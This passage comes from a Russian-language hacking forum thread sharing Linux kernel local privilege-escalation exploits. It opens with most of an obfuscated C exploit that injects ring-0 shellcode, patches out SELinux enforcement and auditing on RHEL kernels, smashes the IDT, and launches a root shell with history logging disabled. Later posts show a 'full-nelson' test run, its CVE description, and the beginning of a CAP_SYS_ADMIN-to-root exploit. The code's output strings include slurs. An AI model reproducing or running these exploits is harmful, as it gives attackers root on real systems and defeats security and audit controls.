    "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
    "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"                     
    "\x58\x5f"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xc3";
     
     
    /* implement selinux bypass for IDT ! */
    #define RJMPDDTGR_OFF_IDT 14
    #define RJMPDDTGR_DYHHTSFDARE 8
    #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
    static char ruujhdbgatrfe345[]=
    "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"     
    "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"                                 
    "\x0f\x01\xf8"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x48\xcf"; 
     
     
     
    #define CJE_4554TFFDTRMAJHD_OFF  10
    #define RJMPDDTGR_AYYYDGTREFCCV7761_OF      23
    static char dis4blens4sel1nuxhayettgdr64545[]=
    "\x41\x52\x50"
    "\xb8\x00\x00\x00\x00"
    "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
    "\x41\x89\x02"
    "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
    "\x41\x89\x02"
    "\x58\x41\x5a";          
     
     
     
     
    /* rhel LSM stuffs */
    #define RHEL_LSM_OFF 98
     
    struct LSM_rhel
    {
      __yyrhdgdtfs66ytgetrfd selinux_ops;
      __yyrhdgdtfs66ytgetrfd capability_ops;
      __yyrhdgdtfs66ytgetrfd dummy_security_ops;
     
      __yyrhdgdtfs66ytgetrfd selinux_enforcing;
      __yyrhdgdtfs66ytgetrfd audit_enabled;
     
      const char *krelease;
      const char *kversion;
      
    };
     
    struct LSM_rhel known_targets[4]=
    {
      {
        0xffffffff8031e600ULL,
        0xffffffff8031fec0ULL,
        0xffffffff804acc00ULL,
     
        0xffffffff804af960ULL,
        0xffffffff8049b124ULL,
     
        "2.6.18-164.el5",
        "#1 SMP Thu Sep 3 03:28:30 EDT 2009"  // to manage minor/bug fix changes
      },
      {
       0xffffffff8031f600ULL,
       0xffffffff80320ec0ULL,
       0xffffffff804afc00ULL,
     
       0xffffffff804b2960ULL,
       0xffffffff8049e124ULL,
     
       "2.6.18-164.11.1.el5",
       "#1 SMP Wed Jan 6 13:26:04 EST 2010"
      },
      {
        0xffffffff805296a0ULL,
        0xffffffff8052af60ULL,
        0xffffffff806db1e0ULL,
     
        0xffffffff806ddf40ULL,
        0xffffffff806d5324ULL,
     
        "2.6.18-164.11.1.el5xen",
        "#1 SMP Wed Jan 20 08:06:04 EST 2010"   // default xen
      },
      {
        0xffffffff8031f600ULL,// d selinux_ops
        0xffffffff80320ec0ULL,// d capability_ops
        0xffffffff804afc00ULL,// B dummy_security_ops
     
        0xffffffff804b2960ULL,// B selinux_enforcing
        0xffffffff8049e124ULL,// B audit_enabled
     
        "2.6.18-164.11.1.el5",
        "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
       }
     
    };
     
    static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
     
    struct socketcallAT
    {
      int s;
      int level;
      int optname;
      void *optval;
      volatile socklen_t *optlen; 
    }__attribute__((packed));
     
    struct idt64from32_s
    {
      unsigned short limit;
      unsigned long base;
    }__attribute__((packed));
     
    static __yyrhdgdtfs66ytgetrfd getidt()
    {
      struct idt64from32_s idt;
      memset(&idt, 0x00, sizeof(struct idt64from32_s));
      asm volatile("sidt %0" : "=m"(idt));
      return idt.base | 0xFFFFFFFF00000000ULL;
    }
     
     
    static int isSelinuxEnabled()
    {
      FILE *selinux_f;
      selinux_f = fopen(SELINUX_PATH, "r");
      if(selinux_f == NULL)
      {
        if(errno == EPERM)
          return 1;
        else
         return 0;
      }
     
      fclose(selinux_f);
      return 1;
    }
     
    static int wtfyourunhere_heee(char *out_release, char* out_version)
    {
     int ret; const char*ptr;
     int count=0;
     char r[32], *bptr;
     struct utsname buf;
     ret =  uname(&buf);
     
     if(ret < 0)
       return -1;
      
     strcpy(out_release, buf.release);
     strcpy(out_version, buf.version);
     
     ptr = buf.release;
     bptr = r;
     memset(r, 0x00, sizeof(r));
     while(*ptr)
     {
       if(count == 2)
        {
          if(*ptr >= '0' && *ptr <= '9')
            *bptr++ = *ptr;
          else
            break;
        }
      
       if(*ptr == '.')
         count++;
       ptr++;
     }
     
     if(strlen(r) < 1 || !atoi(r))
       return -1;
     
     return atoi(r);
    }
     
     
    static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
    {
      *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
      *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
      __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
      __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
    }
     
     
    static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
    {
      FILE *ka;
      char line[512];
      char reloc_a[64];
      char reloc[64];
     
      if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
        return 0;
       
      ka = fopen(filename, "r");
      if(!ka)
        return 0;
     
      while(fgets(line, 512, ka) != NULL)
      {
        char *l_p  = line;
        char *ra_p = reloc_a;
        char *r_p    = reloc;
        memset(reloc, 0x00, sizeof(reloc));
        memset(reloc_a, 0x00, sizeof(reloc_a));
        while(*l_p != ' ' && (ra_p - reloc_a)  < 64)
          *ra_p++ = *l_p++; 
        l_p += 3;
        while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
          *r_p++ = *l_p++;
     
        if(!strcmp(reloc, s))
        {
          __gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
          return strtoull(reloc_a, NULL, 16);
        }
      }
     
      return 0;
    }
     
     
    static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
    {
      return get_sym_ex(s, KALLSYMS, 0);
    }
     
    static int parse_cred(const char* val)
    {
      int i=0;
      const char* p = val;
      char local[64], *l;
      for(i=0; i<3; i++) 
      {
        memset(local, 0x00, sizeof(local));
        l = local;
        while(*p && *p != ',')
          *l++ = *p++;
     
        if(!(*p) && i != 2)
          return -1;
     
        _m_cred = strtoull(local, NULL, 16);
        p++;
      }
      
      return 0;
    }
     
     
    #define SELINUX_OPS        "selinux_ops"
    #define DUMMY_SECURITY_OPS "dummy_security_ops"
    #define CAPABILITY_OPS     "capability_ops"
    #define SELINUX_ENFORCING  "selinux_enforcing"
    #define AUDIT_ENABLED      "audit_enabled"
     
    struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
    {
       int i;
       char mapbuf[128];
       struct LSM_rhel *lsm = &(known_targets[0]);
     
       if(check_rhel && !isRHHGDPPLADSF(krelease))
       {
         __pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
         return NULL;
       }
     
       __pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
       for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
       {
         if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
         {
           __gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
           return lsm;
         }
       }
     
       __pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
       strcpy(mapbuf, "/boot/System.map-");
       strcat(mapbuf, krelease);
     
       dyn4nt4n1labeggeyrthryt.selinux_ops        = get_sym_ex(SELINUX_OPS, mapbuf, 1);
       dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
       dyn4nt4n1labeggeyrthryt.capability_ops     = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
       dyn4nt4n1labeggeyrthryt.selinux_enforcing  = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
       dyn4nt4n1labeggeyrthryt.audit_enabled      = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
     
     
       if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
          !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
          !dyn4nt4n1labeggeyrthryt.capability_ops ||
          !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
          !dyn4nt4n1labeggeyrthryt.audit_enabled)
        return NULL;
     
     
       return &dyn4nt4n1labeggeyrthryt;
    }
     
    static void put_your_hands_up_hooker(int argc, char *argv[])
    {
      int fd,ver,ret;
      char __b[16];
     
     
      fd = open(KALLSYMS, O_RDONLY);
      ret = read(fd, __b, 16); // dummy read
      if((fd >= 0 && ret > 0))
      {
        __pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
        flags |= KERN_HHSYPPLORQTWGFD;
      }
      close(fd);
     
      ver = wtfyourunhere_heee(krelease, kversion);
      if(ver < 0)
        __yyy_tegdtfsrer("!!!  Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
     
      __gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
     
     
      if(argc != 1)
      {
        while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
        {
          switch(ret)
          {
            case 'i':
              flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
              useidt=1; // u have to use -i to force IDT Vector
              break;
     
            case 'f':
              flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
              break;
         
        case 'l':
          flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
          break;
     
            case 'c':
              if(!optarg || parse_cred(optarg) < 0)
                  __yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
              break;
     
            case 'k':
              if(optarg)
                _m_fops = strtoull(optarg, NULL, 16);
              else
             __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
              break;
     
            case 's':
              if(!isSelinuxEnabled())
                __pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
              else
                flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
              break;
                 
            case 'o':
              if(optarg)
                _m_cpu_off = strtoull(optarg, NULL, 16);
          else
            __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
              break;
          }
        }
      }
     
     
      if(ver >= 29) // needs cred structure
      {
        flags |= KERN_DGGDYDTEGGETFDRLAK;
       
        if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
        {
          _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
          _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
          _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
        }
     
        if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
        {
          __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
        }
         
        __pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
        *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
        *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
        *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
      }
     
      if(ver >= 30)  // needs cpu offset
      {
        flags |= KERN_DHHDYTMLADSFPYT;
        if(!_m_cpu_off)
        _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
     
        if(!_m_cpu_off)
          __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
     
        __pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
        *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
        *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
      }
    }
     
     
    static void env_prepare(int argc, char* argv[])
    {
     
      put_your_hands_up_hooker(argc, argv);
     
      if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS))  // try fops
      {
        __pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
        if(!_m_fops)
          _m_fops = get_sym(RW_FOPS);
     
        /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
         * Thanks to the guy who killed this vector... you know who you are:)
         * Lucky for you, there are more:)
         */
     
        if(_m_fops)
        {
          usefops=1;
          __pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
        }
      }
     
     
      if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
      {
        curr_target = lsm_rhel_find_target(1);
        if(!curr_target)
        {
           __pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");
        }
        else
          uselsm=1;
      }
     
      
      if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
      {
        // -i flag
        curr_target = lsm_rhel_find_target(0);
        if(!curr_target)
        {
           __pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
           /* remove Selinux Flag */
           flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
        }
      }
     
     
      if(!usefops && !useidt && !uselsm)
        __yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n"); 
    }
     
     
    static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
    {
      int socklen_l = 8 + stack - addr - 16;
      return socklen_l;
    }
     
    static struct socketcallAT at;
    static __dgdhdytrg55 idtover[4] =
                 {0x00100000UL,
                  0x0020ee00UL,
                  0x00000000UL,
                  0x00000000UL};
     
     
    static void fillsocketcallAT()
    {
     at.s = s;
     at.level = SOL_IP;
     at.optname = MCAST_MSFILTER;
     at.optval = buffer;
     at.optlen = &magiclen;
    }
     
     
    static void bitch_call(struct socketcallAT *at, void *stack)
    {
      asm volatile(
          "push %%ebx\t\n"
          "push %%esi\t\n"
          "push %%ecx\t\n"
          "push %%edx\t\n"
          "movl $0x66, %%eax\t\n"
          "movl $0xf, %%ebx\t\n"
          "movl %%esp, %%esi\t\n"
          "movl %0, %%ecx\t\n"
          "movl %1, %%esp\t\n"
          "int $0x80\t\n"
          "movl %%esi, %%esp\t\n"
          "pop %%edx\t\n"
          "pop %%ecx\t\n"
          "pop %%esi\t\n"
          "pop %%ebx\t\n"
          :  : "r"(at), "r"(stack)  : "memory", "eax", "ecx", "ebx", "esi"
         );
    }
     
    static void __setmcbuffer(__dgdhdytrg55 value)
    {
      int i;
      __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
      for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
        *(p+i) = value;
    }
     
    static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
    {
      int i;
      __dgdhdytrg55 curr;
      for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
      {
        curr = idtover;
        __setmcbuffer(curr);
        magiclen =  get_socklen(idtbase + (i*4), Y0Y0STOP);
        bitch_call(&at, (void*)Y0Y0STOP);
      }
    }
     
     
    static void y0y0stack()
    {
      void* map = mmap((void*)Y0Y0SMAP,
                       PAGE_SIZE,
                       PROT_READ|PROT_WRITE,
                       MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
                       -1,0);
      if(MAP_FAILED == map)
        __xxxfdgftr_hshsgdt("mmap");
    }
     
    static void y0y0code()
    {
      void* map = mmap((void*)Y0Y0CMAP,
                       PAGE_SIZE,
     
    #ifdef TRY_REMAP_DEFAULT
               PROT_READ|PROT_WRITE,
    #else
                       PROT_READ|PROT_WRITE|PROT_EXEC,
    #endif
                       MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
                       -1,0);
      if(MAP_FAILED == map)
        __xxxfdgftr_hshsgdt("mmap");
     
    }
     
     
    static int rey0y0code(unsigned long old)
    {
      int fd;
      void *map;
      volatile char wizard;
      char cwd[1024];
     
      getcwd(cwd, sizeof(cwd)); 
      strcat(cwd, "/__tmpfile");
      
      unlink(cwd);
      fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
      if(fd < 0)
        return -1;
     
      write(fd, (const void*)old, PAGE_SIZE);
      if(munmap((void*)old, PAGE_SIZE) < 0)
        return -1;
     
      map = mmap((void*)old,
                       PAGE_SIZE,
                       PROT_READ|PROT_EXEC,
                       MAP_PRIVATE|MAP_FIXED,
                       fd,0);
      if(map == MAP_FAILED)
        return -1;
      
      /* avoid lazy page fault handler
       * Triple Fault when using idt vector
       * and no pages are already mapped:)
       */
     
      wizard = *((char*)old);
      unlink(cwd);
      return wizard;
    }
     
     
    int main(int argc, char*argv[])
    {
      int uid,fd;
      __yyrhdgdtfs66ytgetrfd *patch, idtb;
      struct pollfd pfd;
       
       
      printf(BANNER);
     
      uid = getuid();
     
      env_prepare(argc, argv);
     
      y0y0stack();
      y0y0code();
     
      if(useidt)
      {
        idtb = getidt();
        __gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
        __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");  
        patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
        *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
     
        __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
     
        if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
        {
          __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
          p4tch_sel1nux_codztegfaddczda(curr_target);
        }
           
        __dhdyetgdfstreg__((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
      }
      else if(usefops || uselsm)
      {
        __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");  
        patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
        *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
     
        __setmcbuffer(J0J0S);
     
        __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
        if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
        {
            __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
        p4tch_sel1nux_codztegfaddczda(curr_target);
        }
        __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
      }
       
     
      
      /* set shellcode level 2 */
      if(flags & KERN_DGGDYDTEGGETFDRLAK)
      {
        __pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
        __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
      }
      else
      {
        __pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
        __dhdyetgdfstreg__((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));
        *((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
      }
     
      __pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
      s = socket(AF_INET, SOCK_DGRAM, 0);
      if(s < 0)
        __xxxfdgftr_hshsgdt("socket");
     
      fillsocketcallAT();
     
     
    #ifdef TRY_REMAP_DEFAULT
      if(rey0y0code(Y0Y0CMAP) < 0)
        __yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
    #endif
     
      if(useidt)
      {
     
        __yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
        __gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
        idt_smash((idtentry));
     
        sleep(1);
        asm volatile("int $0xdd\t\n");
      }
      else if(usefops)
      {
        magiclen = get_socklen(_m_fops, Y0Y0STOP);
        magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
        __gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);
       
        __pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
        bitch_call(&at, (void*)Y0Y0STOP);
        sleep(1);
     
        fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
        if(fd < 0)
          __xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
         
        pfd.fd = fd;
        pfd.events = POLLIN | POLLOUT;
        poll(&pfd, 1, 0);
      }
      else if(uselsm)
      {
        int msqid;
        __yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
        __yyrhdgdtfs66ytgetrfd dummy_msg_off   = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
        __yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
     
     
        msqid = msgget(0, IPC_PRIVATE|0600);
        if(msqid < 0)
          __xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
           
     
        magiclen =  get_socklen(selinux_msg_off, Y0Y0STOP);
        __setmcbuffer(J0J0S);
        bitch_call(&at, (void*)Y0Y0STOP);
        magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
        __setmcbuffer(0);
        bitch_call(&at, (void*)Y0Y0STOP);
     
     
        magiclen =  get_socklen(dummy_msg_off, Y0Y0STOP);
        __setmcbuffer(J0J0S);
        bitch_call(&at, (void*)Y0Y0STOP);
        magiclen =  get_socklen(dummy_msg_off+4, Y0Y0STOP);
        __setmcbuffer(0);
        bitch_call(&at, (void*)Y0Y0STOP);
     
     
        magiclen =  get_socklen(capability_msg_off, Y0Y0STOP);
        __setmcbuffer(J0J0S);
        bitch_call(&at, (void*)Y0Y0STOP);
        magiclen =  get_socklen(capability_msg_off+4, Y0Y0STOP);
        __setmcbuffer(0);
        bitch_call(&at, (void*)Y0Y0STOP);
     
     
        msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
      }
     
      munmap((void*)Y0Y0CMAP, PAGE_SIZE);
     
      /* exec */
      if(getuid() == 0)
      {
        pid_t pid;
        __pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
        pid = fork();
        if(pid == 0)
        {
          char *args[] = {"/bin/sh", "-i", NULL};
          char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
                          "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
          execve("/bin/sh", args, envp);
        }
        else 
        {
          int status;
          waitpid(pid, &status, 0);
        }
      }
      else
        __pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
     
      close(s);
      return 0;
    }
     
    #endif // -m32
    
     
    10 ноя 2010
  12. onthar
    onthar Продвинутый
    Симпатии:
    224
    2.6.37 local root exploit

    2.6.37 local root exploit
    Сплоит для эскалации привилегий на ядре линукс версии 2.6.37
    Говорят, что должен работать и на ранних версиях, но вот, что мы видим на домашней бубунте:
    Код:
    onthar@desktop:~$ cat /proc/version
    Linux version 2.6.35-23-generic (buildd@allspice) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5) ) #41-Ubuntu SMP Wed Nov 24 11:55:36 UTC 2010
    onthar@desktop:~$ gcc -o full-nelson full-nelson.c
    onthar@desktop:~$ ./full-nelson
    [*] Resolving kernel addresses...
     [+] Resolved econet_ioctl to 0xffffffffa02a7610
     [+] Resolved econet_ops to 0xffffffffa02a7720
     [+] Resolved commit_creds to 0xffffffff810863c0
     [+] Resolved prepare_kernel_cred to 0xffffffff81086890
    [*] Calculating target...
    [*] Triggering payload...
    [*] Exploit failed to get root.
    
    Код:
    /*
     * Linux Kernel <= 2.6.37 local privilege escalation
     * by Dan Rosenberg
     * @djrbliss on twitter
     *
     * Usage:
     * gcc full-nelson.c -o full-nelson
     * ./full-nelson
     *
     * This exploit leverages three vulnerabilities to get root, all of which were
     * discovered by Nelson Elhage:
     *
     * CVE-2010-4258
     * -------------
     * This is the interesting one, and the reason I wrote this exploit.  If a
     * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
     * word will be written to a user-specified pointer when that thread exits.
     * This write is done using put_user(), which ensures the provided destination
     * resides in valid userspace by invoking access_ok().  However, Nelson
     * discovered that when the kernel performs an address limit override via
     * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
     * etc.), this override is not reverted before calling put_user() in the exit
     * path, allowing a user to write a NULL word to an arbitrary kernel address.
     * Note that this issue requires an additional vulnerability to trigger.
     *
     * CVE-2010-3849
     * -------------
     * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
     * fairly benign as a local denial-of-service.  It's a perfect candidate to
     * trigger the above issue, since it's reachable via sock_no_sendpage(), which
     * subsequently calls sendmsg under KERNEL_DS.
     *
     * CVE-2010-3850
     * -------------
     * I wouldn't be able to reach the NULL pointer dereference and trigger the
     * OOPS if users weren't able to assign Econet addresses to arbitrary
     * interfaces due to a missing capabilities check.
     *
     * In the interest of public safety, this exploit was specifically designed to
     * be limited:
     *
     *  * The particular symbols I resolve are not exported on Slackware or Debian
     *  * Red Hat does not support Econet by default
     *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
     *    Debian
     *
     * However, the important issue, CVE-2010-4258, affects everyone, and it would
     * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
     * more sophisticated version of this that doesn't have the roadblocks I put in
     * to prevent abuse by script kiddies.
     *
     * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
     *
     * NOTE: the exploit process will deadlock and stay in a zombie state after you
     * exit your root shell because the Econet thread OOPSes while holding the
     * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
     *
     * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
     */
     

    Вложения:

    8 дек 2010
  13. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux Kernel CAP_SYS_ADMIN to root Exploit
    Код:
    /* 
     * Linux Kernel CAP_SYS_ADMIN to root exploit 
     * by Dan Rosenberg 
     * @djrbliss on twitter 
     * 
     * Usage: 
     * gcc -w caps-to-root.c -o caps-to-root 
     * sudo setcap cap_sys_admin+ep caps-to-root 
     * ./caps-to-root 
     * 
     * This exploit is NOT stable: 
     * 
     *  * It only works on 32-bit x86 machines 
     * 
     *  * It only works on >= 2.6.34 kernels (it could probably be ported back, but 
     *    it involves winning a race condition) 
     * 
     *  * It requires symbol support for symbols that aren't included by default in 
     *    several distributions 
     * 
     *  * It requires the Phonet protocol, which may not be compiled on some 
     *    distributions 
     * 
     *  * You may experience problems on multi-CPU systems 
     * 
     * It has been tested on a stock Ubuntu 10.10 installation.  I wouldn't be 
     * surprised if it doesn't work on other distributions. 
     * 
     * ---- 
     * 
     * Lately there's been a lot of talk about how a large subset of Linux 
     * capabilities are equivalent to root.  CAP_SYS_ADMIN is a catch-all 
     * capability that, among other things, allows mounting filesystems and 
     * injecting commands into an administrator's shell - in other words, it 
     * trivially allows you to get root.  However, I found another way to get root 
     * from CAP_SYS_ADMIN...the hard way. 
     * 
     * This exploit leverages a signedness error in the Phonet protocol.  By 
     * specifying a negative protocol index, I can craft a series of fake 
     * structures in userspace and cause the incrementing of an arbitrary kernel 
     * address, which I then leverage to execute arbitrary kernel code. 
     * 
     * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, 
     * and bla. 
     * 
     */
      
    #include <stdio.h> 
    #include <fcntl.h> 
    #include <sys/socket.h> 
    #include <errno.h> 
    #include <string.h> 
    #include <linux/capability.h> 
    #include <sys/utsname.h> 
    #include <sys/mman.h> 
    #include <unistd.h> 
      
